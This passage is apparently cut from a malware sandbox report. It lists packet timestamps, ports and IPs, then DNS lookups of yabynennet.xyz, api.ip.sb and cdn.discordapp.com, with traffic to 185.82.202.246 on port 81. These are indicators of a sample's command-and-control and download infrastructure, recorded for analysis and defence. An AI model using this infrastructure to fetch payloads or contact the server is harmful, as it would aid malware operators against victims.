Dec 28, 2021 18:13:33.371889114 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.371897936 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.371922016 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.371951103 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.371961117 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.371979952 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.371995926 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.372016907 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.372046947 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.372054100 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.372076988 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.372102022 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.372159004 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.377557993 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.377572060 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.377588034 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.377593994 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.377708912 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.377718925 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.377748966 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.377757072 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.377796888 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.377804995 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.377844095 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.377852917 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.377866030 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.377892017 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.377898932 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.377950907 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.377959967 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378040075 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378242970 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378252983 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378268957 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378284931 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378305912 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378309011 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378315926 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378353119 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378362894 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378407001 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378413916 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378426075 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378443956 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378452063 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378489017 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378496885 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378540039 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378550053 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378562927 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378576040 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378582954 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378626108 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378635883 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378673077 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378679991 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378705025 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378714085 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378740072 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378746033 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378767014 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378782988 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378814936 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378842115 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378865957 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378900051 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378909111 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378936052 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378937960 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378959894 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.378988028 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.378994942 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379029989 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379070997 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379093885 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379127026 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379136086 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379153013 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379188061 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379216909 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379254103 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379261971 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379287004 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379292011 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379312992 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379349947 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379357100 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379376888 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379400969 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379420996 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379456997 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379466057 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379487991 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379511118 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379530907 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379566908 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379575014 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379599094 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379616976 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379637003 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379672050 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379678965 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379702091 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379719973 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379740000 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379782915 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379791975 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379811049 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379820108 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379838943 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379873991 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379880905 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379905939 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379919052 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379940033 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.379971981 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.379980087 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380008936 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380028009 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380048037 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380083084 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380090952 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380116940 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380140066 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380161047 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380192995 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380201101 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380222082 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380249023 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380268097 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380300999 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380309105 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380327940 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380332947 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380354881 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380393982 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380402088 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380413055 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380418062 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380434036 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380443096 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380481005 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380487919 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380515099 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380542994 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380661964 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380685091 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380727053 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380733967 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380753040 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380757093 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380775928 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380776882 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380788088 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380811930 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380822897 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380844116 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380856037 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380876064 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.380886078 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380898952 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.380928040 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.381684065 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.381705999 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.381767035 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.381776094 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.381794930 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.381813049 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.381870031 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.381891012 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.381930113 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.381937981 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.381969929 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.381970882 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.381993055 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.381994009 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.382004976 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.382025957 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.382062912 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.382072926 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.382092953 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.382128000 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.382136106 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.382158041 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.382158995 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.382189035 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.382189989 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.382195950 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.382278919 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.382282019 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.382299900 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.382304907 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.382320881 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.382375956 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.382417917 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.382477999 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.382489920 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.383958101 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.384533882 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.384547949 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.384651899 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.384665012 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.384762049 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.385097980 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.385123968 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.385185003 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.385195971 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.385240078 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.385251999 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.385613918 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.385646105 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.385700941 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.385711908 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.385736942 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.385770082 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.386096954 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.386125088 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.386181116 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.386193037 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.386240959 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.386251926 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.386603117 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.386627913 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.386691093 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.386703014 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.386735916 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.386745930 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.387129068 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.387157917 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.387213945 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.387224913 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.387271881 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.387613058 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.387636900 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.387651920 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.387661934 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.387674093 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.387725115 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.388096094 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.388118029 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.388179064 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.388191938 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.388206959 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.388231993 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.388643980 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.388669014 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.388717890 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.388730049 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.388760090 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.388776064 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.388905048 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.388927937 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.388976097 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.388986111 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.389008999 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.389024019 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.389030933 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.389034033 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.389048100 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.389072895 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.389121056 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.389128923 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.389142036 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.389173031 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.389203072 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.389214993 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.389229059 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.389235020 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.389261007 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.389270067 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.389283895 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.389307976 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.389344931 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.389373064 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.409540892 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.415030956 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649173975 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649231911 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649277925 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649317980 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649336100 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649363995 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649399042 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649441957 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649456024 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649473906 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649522066 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649555922 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649595976 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649610043 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649632931 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649667978 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649668932 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649691105 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649739027 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649758101 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649766922 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649774075 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649804115 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649806023 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649844885 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649844885 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649864912 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649864912 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649918079 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649940014 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649949074 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.649960041 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.649987936 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.650012970 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.650027990 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.650039911 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.650115013 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.650439978 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.650469065 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.651505947 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.659374952 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:39.193753004 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:39.267961025 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:39.324335098 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:39.580178022 CET	49781	81	192.168.2.4	185.82.202.246

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2021 18:13:15.920845985 CET	62389	53	192.168.2.4	8.8.8.8
Dec 28, 2021 18:13:16.082426071 CET	53	62389	8.8.8.8	192.168.2.4
Dec 28, 2021 18:13:24.714603901 CET	49910	53	192.168.2.4	8.8.8.8
Dec 28, 2021 18:13:24.746985912 CET	55854	53	192.168.2.4	8.8.8.8
Dec 28, 2021 18:13:33.073632002 CET	64549	53	192.168.2.4	8.8.8.8
Dec 28, 2021 18:13:33.092448950 CET	53	64549	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 28, 2021 18:13:15.920845985 CET	192.168.2.4	8.8.8.8	0x8cce	Standard query (0)	yabynennet.xyz	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:24.714603901 CET	192.168.2.4	8.8.8.8	0xc660	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:24.746985912 CET	192.168.2.4	8.8.8.8	0x923f	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:33.073632002 CET	192.168.2.4	8.8.8.8	0x6d4a	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 28, 2021 18:13:16.082426071 CET	8.8.8.8	192.168.2.4	0x8cce	No error (0)	yabynennet.xyz		185.82.202.246	A (IP address)	IN (0x0001)
